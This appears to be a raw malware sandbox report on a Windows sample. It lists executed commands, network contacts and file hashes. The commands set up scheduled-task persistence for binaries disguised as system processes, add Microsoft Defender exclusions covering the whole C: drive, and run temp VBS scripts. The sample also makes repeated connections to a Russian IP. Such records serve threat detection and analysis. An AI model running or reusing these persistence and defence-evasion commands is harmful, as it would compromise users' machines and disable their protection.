schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\fontdrvhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office 15\ClientX64\fontdrvhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Program Files\Microsoft Office 15\ClientX64\fontdrvhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 13 /tr "'C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\dllhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 9 /tr "'C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 12 /tr "'C:\Users\Admin\fontdrvhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Admin\fontdrvhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 10 /tr "'C:\Users\Admin\fontdrvhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\SppExtComObj.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 10 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\dwm.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwm" /sc ONLOGON /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\dwm.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dwmd" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\WindowsPowerShell\Configuration\Registration\dwm.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\AHjKJtDsqF.bat"

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe

"C:\Users\Admin\AppData\Local\Temp\77177c57df58a82f289add0cf57ea320_NeikiAnalytics.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\backgroundTaskHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 9 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\backgroundTaskHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Program Files\Windows Mail\dllhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Windows Mail\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Mail\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 10 /tr "'C:\Windows\ServiceProfiles\sihost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\ServiceProfiles\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Windows\ServiceProfiles\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 5 /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "OfficeClickToRun" /sc ONLOGON /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "OfficeClickToRunO" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\OfficeClickToRun.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 7 /tr "'C:\Program Files\7-Zip\Lang\lsass.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\lsass.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 13 /tr "'C:\Program Files\7-Zip\Lang\lsass.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Desktop\System.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Default\Desktop\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\Users\Default\Desktop\System.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 14 /tr "'C:\Users\All Users\Start Menu\taskhostw.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "taskhostw" /sc ONLOGON /tr "'C:\Users\All Users\Start Menu\taskhostw.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "taskhostwt" /sc MINUTE /mo 9 /tr "'C:\Users\All Users\Start Menu\taskhostw.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 8 /tr "'C:\Users\Public\Documents\My Music\dllhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Users\Public\Documents\My Music\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Documents\My Music\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\MoUsoCoreWorker.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\MoUsoCoreWorker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 11 /tr "'C:\Recovery\WindowsRE\MoUsoCoreWorker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Windows Defender\csrss.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Defender\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Windows Defender\csrss.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "MoUsoCoreWorker" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "MoUsoCoreWorkerM" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Windows Multimedia Platform\MoUsoCoreWorker.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\Users\Admin\Templates\sppsvc.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Users\Admin\Templates\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\Templates\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\sppsvc.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 7 /tr "'C:\Users\Admin\TrustedInstaller.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TrustedInstaller" /sc ONLOGON /tr "'C:\Users\Admin\TrustedInstaller.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "TrustedInstallerT" /sc MINUTE /mo 9 /tr "'C:\Users\Admin\TrustedInstaller.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b3ed7e3e-a4e2-40af-8049-83337d7c8668.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\28633f8a-a59b-46be-be97-418b7da6e0e6.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\dd81e433-a47e-4909-bcd6-be63ea329b3a.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5f755d41-99ff-4c86-beab-f70b8602ad6d.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e940332e-2a5e-4688-9aee-017368a7e9a1.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\719b75f5-6f24-4a2a-bba5-9fbf6475cdfe.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9667e039-cbb8-434f-826d-a71e49bee52c.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\a2c4e358-f249-48c5-9314-eba8010e80c9.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\04c159b3-0128-4873-9dcf-065314d47d43.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ffd4c9f3-aedc-408b-8676-9ce3efc0f9ab.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\01411473-7746-4bce-8350-85d41f9af26e.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\1d1883a5-f382-4e19-a820-8706d3ba049d.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c3698677-11cf-42bb-9c15-a6c646eeda58.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\f92a70fe-0ecf-4669-a5cd-410ba3fc73c1.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\10e234ee-da72-48b5-870e-2d445fb948e5.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\28a1bc58-0e51-4176-8bc6-cc61ec4e269e.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\47fdc7c8-15cb-4f24-9069-2d2fbc37c0b6.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\e9b50678-a1fe-4551-af9c-18321f1e0aac.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8998c9f2-2e66-4878-a9b8-bfe8a34ced80.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9f6d21dc-1859-4b91-9ca9-a619717ddbb4.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\3fabace9-2acc-45a3-983e-1c0c0f6d4dbf.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\25622c67-6ef2-4629-9637-181bbdd4792d.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\ff2ff6d0-195c-4f7e-bca5-707bedf28894.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\11b24d26-e77e-4605-af58-0702e58285a4.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\2115e1f2-5b2a-4e29-adf5-4d6e7a247c21.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bd54648e-f4ec-40c4-9dd3-a4f9a3213155.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b81c8b17-f9ae-4b20-a800-daa36b9c1891.vbs"

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\db724201-69a9-483a-a361-6488e385196f.vbs"

C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe

"C:\Program Files (x86)\Windows NT\Accessories\en-US\csrss.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
NL 23.62.61.97:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 97.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
RU 149.154.68.247:80 149.154.68.247 tcp
US 8.8.8.8:53 247.68.154.149.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
RU 149.154.68.247:80 149.154.68.247 tcp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 200.197.79.204.in-addr.arpa udp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp
RU 149.154.68.247:80 149.154.68.247 tcp

Files

memory/3672-0-0x00007FF9335B3000-0x00007FF9335B5000-memory.dmp

memory/3672-1-0x0000000000C10000-0x0000000000EF6000-memory.dmp

memory/3672-2-0x00007FF9335B0000-0x00007FF934071000-memory.dmp

memory/3672-3-0x0000000001C10000-0x0000000001C2C000-memory.dmp

memory/3672-4-0x0000000002130000-0x0000000002180000-memory.dmp

memory/3672-6-0x00000000020E0000-0x00000000020F0000-memory.dmp

memory/3672-5-0x0000000001C30000-0x0000000001C38000-memory.dmp

memory/3672-7-0x00000000020F0000-0x0000000002106000-memory.dmp

memory/3672-8-0x0000000002110000-0x0000000002118000-memory.dmp

memory/3672-12-0x000000001BBF0000-0x000000001BC46000-memory.dmp

memory/3672-11-0x000000001BBE0000-0x000000001BBEA000-memory.dmp

memory/3672-10-0x0000000002120000-0x0000000002130000-memory.dmp

memory/3672-9-0x0000000002180000-0x0000000002188000-memory.dmp

memory/3672-13-0x000000001BC40000-0x000000001BC4C000-memory.dmp

memory/3672-14-0x000000001BC50000-0x000000001BC58000-memory.dmp

memory/3672-15-0x000000001BC60000-0x000000001BC6C000-memory.dmp

memory/3672-16-0x000000001BC70000-0x000000001BC82000-memory.dmp

memory/3672-17-0x000000001C7E0000-0x000000001CD08000-memory.dmp

memory/3672-23-0x000000001C300000-0x000000001C30E000-memory.dmp

memory/3672-22-0x000000001C2F0000-0x000000001C2F8000-memory.dmp

memory/3672-21-0x000000001C2E0000-0x000000001C2EE000-memory.dmp

memory/3672-24-0x000000001C310000-0x000000001C31C000-memory.dmp

memory/3672-26-0x000000001C330000-0x000000001C33A000-memory.dmp

memory/3672-20-0x000000001C2D0000-0x000000001C2DA000-memory.dmp

memory/3672-19-0x000000001C2C0000-0x000000001C2C8000-memory.dmp

memory/3672-18-0x000000001C2B0000-0x000000001C2B8000-memory.dmp

memory/3672-27-0x000000001C340000-0x000000001C34C000-memory.dmp

memory/3672-25-0x000000001C320000-0x000000001C328000-memory.dmp

C:\Program Files\Microsoft Office\Updates\TextInputHost.exe

MD5 77177c57df58a82f289add0cf57ea320
SHA1 38c0414cb96be176cdf3b965b870bdf5de04f4a4
SHA256 6f250581eae818938c64c4afa3446c7c36dfadda1d8b8ba20870ad0e05c7fe50
SHA512 67161531bc39774e219b77de3166c3216ff962ca81af0982a44a502bd25d333aa742f8fca8e5720d91b4e69ddd6c829a0e014b94f7af89d1ceb601691dd2c9b6

C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\RCX4B58.tmp

MD5 a189778ec06cf1dffb644c634c1e8ce4
SHA1 91c7ac070ff86600760ee8fb5f3fa2671504b49f
SHA256 27eab1726393c623f47921f16f4655c335e79ce8bff6c3cac00c4d674f99c5bf
SHA512 9f0220055b94aa80ea900dd5e0fd10bede870664b7ca8772656cf67a3fcb3a8df69b01b707d8534e37740fafd10afb5447debc068de7dca5174a8577d3d30c55

memory/3672-122-0x00007FF9335B0000-0x00007FF934071000-memory.dmp

memory/4356-123-0x000001CB5E5D0000-0x000001CB5E5F2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_liscc0xu.tre.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

C:\Users\Admin\AppData\Local\Temp\AHjKJtDsqF.bat

MD5 42cb773f28e7795663ede3a42f4e5ca2
SHA1 ef209c82aafd80d0605d72c3e059bd8c4799e59d
SHA256 65d62b59b8644b8220f682a4cea3dd0f9305bce73ad59780d13332a1246d777d
SHA512 50660c7cc1bd2bd5e8084d3059e766f74bbbb86c501b4c8e5d820e60c5708353050ec4a72165ed9747fa179b384b6570020660347c55535553414ee92d5a8c5f

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 2e907f77659a6601fcc408274894da2e
SHA1 9f5b72abef1cd7145bf37547cdb1b9254b4efe9d
SHA256 385da35673330e21ac02545220552fe301fe54dedefbdafc097ac4342a295233
SHA512 34fa0fff24f6550f55f828541aaefe5d75c86f8f0842d54b50065e9746f9662bb7209c74c9a9571540b9855bb3851f01db613190024e89b198d485bb5dc07721

memory/4032-230-0x000002A7C8520000-0x000002A7C868A000-memory.dmp

memory/1616-228-0x000001E4F9C00000-0x000001E4F9D6A000-memory.dmp

memory/1192-235-0x0000018DFF010000-0x0000018DFF17A000-memory.dmp

memory/4300-236-0x000001CA2BB90000-0x000001CA2BCFA000-memory.dmp

memory/4284-241-0x000001BDCBE00000-0x000001BDCBF6A000-memory.dmp

memory/4896-242-0x0000026A9FFE0000-0x0000026AA014A000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 cadef9abd087803c630df65264a6c81c
SHA1 babbf3636c347c8727c35f3eef2ee643dbcc4bd2
SHA256 cce65b73cdfe9304bcd5207913e8b60fb69faa20cd3b684f2b0343b755b99438
SHA512 7278aa87124abb382d9024a645e881e7b7cf1b84e8894943b36e018dbf0399e6858392f77980b599fa5488e2e21bf757a0702fe6419417edac93b68e0c2ec085

memory/3312-250-0x0000025ED4890000-0x0000025ED49FA000-memory.dmp

memory/2388-251-0x00000211735D0000-0x000002117373A000-memory.dmp

